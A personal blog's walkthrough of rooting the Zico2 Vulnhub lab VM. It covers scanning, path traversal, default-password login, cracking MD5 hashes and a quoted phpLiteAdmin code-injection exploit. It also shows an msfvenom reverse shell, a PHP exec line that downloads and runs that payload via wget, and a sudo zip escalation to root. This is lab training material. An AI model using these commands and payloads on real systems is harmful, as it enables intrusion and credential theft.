Jean-Francois Maes
Young Graduate at Dimension Data with special interest in Security and Automation & Co-Founder of Joy-Time

Follow

Pentest: owning Zico2

8 minute read

ON THIS PAGE

Another day, another VM to get owned! This time I'm doing an intermediate one called Zico2, as always this VM is available on Vulnhub here. —-

nmap recon

This time the VM did not give me an IP on boot, so I had to learn the IP by myself, which is not really a problem thanks to our handy tool `nmap`. Let's try and figure out the IP:

```
root@clueless:~# nmap -sP 10.0.2.0/24

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-05 08:01 CET
Nmap scan report for 10.0.2.1
Host is up (0.00013s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.2.2
Host is up (0.000076s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.2.3
Host is up (0.00015s latency).
MAC Address: 08:00:27:46:59:08 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.10
Host is up (0.0028s latency).
MAC Address: 08:00:27:27:3E:0F (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.6
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.02 seconds
```

My kali box is running on 10.0.2.6 which means that 10.0.2.10 is the ip address of the Zico box. Time to look for open ports on the Zico box:

```
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-05 08:03 CET
Nmap scan report for 10.0.2.10
Host is up (0.000061s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
35687/tcp open  unknown
```

Exploring the ports

port 22: SSH is useless for now, since we have no login information.

port 80: is a website, we can check that out..

port 111: The rpcbind utility is a server that converts RPC program numbers into universal addresses. It must be running on the host to be able to make RPC calls on a server on that machine.

port 35687: is open, but I don't find any information for now: `curl` showed me nothing, `ping` did nothing and `nmap -sC` also yielded no results.

Checking out the website

The logical thing for me to do now is to browse the website. Time to use our trusty tool `dirb` to bruteforce hidden folders.

```
root@clueless:~# dirb http://10.0.2.10

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Dec  5 08:16:38 2017
URL_BASE: http://10.0.2.10/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.0.2.10/ ----
+ http://10.0.2.10/cgi-bin/ (CODE:403|SIZE:285)
==> DIRECTORY: http://10.0.2.10/css/
==> DIRECTORY: http://10.0.2.10/dbadmin/
==> DIRECTORY: http://10.0.2.10/img/
+ http://10.0.2.10/index (CODE:200|SIZE:7970)
+ http://10.0.2.10/index.html (CODE:200|SIZE:7970)
==> DIRECTORY: http://10.0.2.10/js/
```

```
+ http://10.0.2.10/LICENSE (CODE:200|SIZE:1094)
+ http://10.0.2.10/package (CODE:200|SIZE:789)
+ http://10.0.2.10/server-status (CODE:403|SIZE:290)
+ http://10.0.2.10/tools (CODE:200|SIZE:8355)
==> DIRECTORY: http://10.0.2.10/vendor/
+ http://10.0.2.10/view (CODE:200|SIZE:0)

---- Entering directory: http://10.0.2.10/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.2.10/dbadmin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.2.10/img/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.2.10/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.2.10/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
```

```
END_TIME: Tue Dec  5 08:16:42 2017
DOWNLOADED: 4612 - FOUND: 8
```

I see a /dbadmin/ directory and a /tools/ directory dbadmin gave me a generated dbadmin page, which seems easily bruteforcable the tools directory gave me a page with placeholder pictures, I found it weird that these are not on the main website so I started clicking on all the buttons on the website and suddenly my browser redirected me to: `http://10.0.2.10/view.php?page=tools.html` which is interesting because this is the same page as `http://10.0.2.10/tools/` I now know that the view.php function works to view pages, to test this out I try to redirect myself back to index: `http://10.0.2.10/view.php?page=index.html` and it worked, let's try and see what happens if I want to go to some bogus page, will it force redirect me back to index.html?

`http://10.0.2.10/view.php?page=randompagethatdoesnotexist.html` it does not, it just gives me a blank screen, interesting because this means that path traversal is probably possible, let's try it out:

`http://10.0.2.10/view.php?page=../../etc/passwd`

It works! we can now search for /bin/bash to see what users have a bash shell: two users are found: zico and root, let's write it down so we do not forget!

"bruteforcing" dbadmin

Remember the dbadmin page we found that was generated? I googled the default password of this because I had the feeling that this page was unmodified, if it was then we could use hydra to bruteforce it anyway, the default pass is “admin” for this page, so I tried to enter it and bam, I’m in.

I see there is a database here called test_users, so I checked it out by pressing the info tab and see two entries:

```
edit    delete  root    653F4B285089453FE00E2AAFAC573414        1
edit    delete  zico    96781A607F4E9F5F423AC01F0DAB0EBD96781A607F4E9F5F423AC01F0DAB0EBD        2
```

We found user id’s and hashed passwords, with any luck the passwords are in a shitty hashing format and we can decrypt it easily. store the file in this format username:hash somewhere on your attackpc.

```
root@clueless:~# hash-identifier
   ##########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
```

```
   #                                                      Root@Blackploit.com #
   ##########################################################################

   --------------------------------------------------------------------------
 HASH: 653F4B285089453FE00E2AAFAC573414

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
```

Appearantly MD5 is the Hash that got used, let's try and crack it with any md5 decrypter available.

```
zisco  zico2215@
root   34kroot34
```

attempting to login with SSH and these credentials is not working so we have to continue our search.

Exploiting phpLiteAdmin

The phpLiteAdmin version running on this vm is 1.9.3 Let's check exploitdb for any known exploits…

Appearantly there is a nice php exploit found in this version:

```
Exploit Title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
# Google Dork: inurl:phpliteadmin.php (Default PW: admin)
# Date: 01/10/2013
# Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
# Vendor Homepage: http://code.google.com/p/phpliteadmin/
# Vendor Status: Informed
# Software Link: http://phpliteadmin.googlecode.com/files/phpliteadmin_v1-9-3.zip
# Version: 1.9.3
# Tested on: Windows and Linux

Description:

phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file ex

An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker ca

Proof of Concept:

1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply t
The script will store the sqlite database in the same directory as phpliteadmin.php.
```

```
2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>


3. Now we run hack.php

Done!
```

uploading a shell

I tried uploading a php webshell, but it doesn't work. so we will have to create a reverse tcp one instead and find a way to get it into the machine. we can create this reverse shell with `msfvenom`

```
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=<attackerIP> LPORT=443 -f elf -o shell
```

fire up metasploit in order to setup a handler for the reverse_tcp tunnel:

```
systemctl start postgresql
msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <attackerip>
```

```
set LPORT 443
run
```

setup simplehttpserver to serve the binary

```
cd <dirwheregeneratedmsfvenomshellislocated>
pyhton -m SimpleHTTPServer
```

use the phpLiteAdmin exploit stated above and insert ` <?php exec("cd /tmp;wget http://:8000/shell;chmod 777 shell; ./shell") ` if this does not work first try make sure to clear the /tmp folder by adding the `rm shell` command after the `cd /tmp` if all goes right, a meterpreter session should start.

---

snooping around and becoming root

in meterpreter you have some cool commands, you can learn about them from the offical documentation. first thing I did was drop into a shell session

```
shell
whoami # www-data
cd /
cd home
cd zico
```

```
ls
cat to_do.txt
exit  # back in meterpreter session
cd /home/zico/wordpress
download wp-config.php Desktop/wp-config.php
```

opening up the file on our local pc we find out that the config file is filled in and there is a nice password in there `sWfCsfJSPV9H3AmQzw8` as we know that people like to use same passwords on multiple places, we try to ssh `ssh zico@10.0.2.10` with password `sWfCsfJSPV9H3AmQzw8` and what do you know it works..

```
zico@zico:/$ sudo -l
Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip
zico@zico:/$
```

zico can use root without password for zip and tar commands. we can abuse this by executing the following:

```
touch exploit #create a random file

sudo -u root zip exploit.zip exploit -T --unzip-command= "sh -c /bin/bash" #use root user to zip the exploit, put it in Te
```

and we are root. Job very well done.

Tags: ctf exploits Pentest

Categories: Penetration-Testing

Updated: December 05, 2017

SHARE ON

Twitter Facebook G+ Google+ LinkedIn

Previous | Next

YOU MAY ALSO ENJOY

Pentest: Lazy Sys Admin

6 minute read

Another day another lab, this is going to be the last linux VM for a while, I'll do more of them at some point but for now I'll have to study for CCNA and af...

Pentest: Domo arigato mr. Roboto

6 minute read

Since I want to do the OSCP certifcation next year, I figured it's time to try and tackle a machine that is listed under "OSCP like" in some forums I scoured...

Pentest: owning a docker host

10 minute read

As I did my bachelorthesis around Docker and best practices around Docker, I found it interesting and challenging for myself to break a Docker host. Vulnhub ...

Pentest: owning rick and morty VM

6 minute read

My collegues told me about vulnhub, a website for peneteration tester to test their skills on boot2root VM's. On the site you'll find multiple boxes, with va...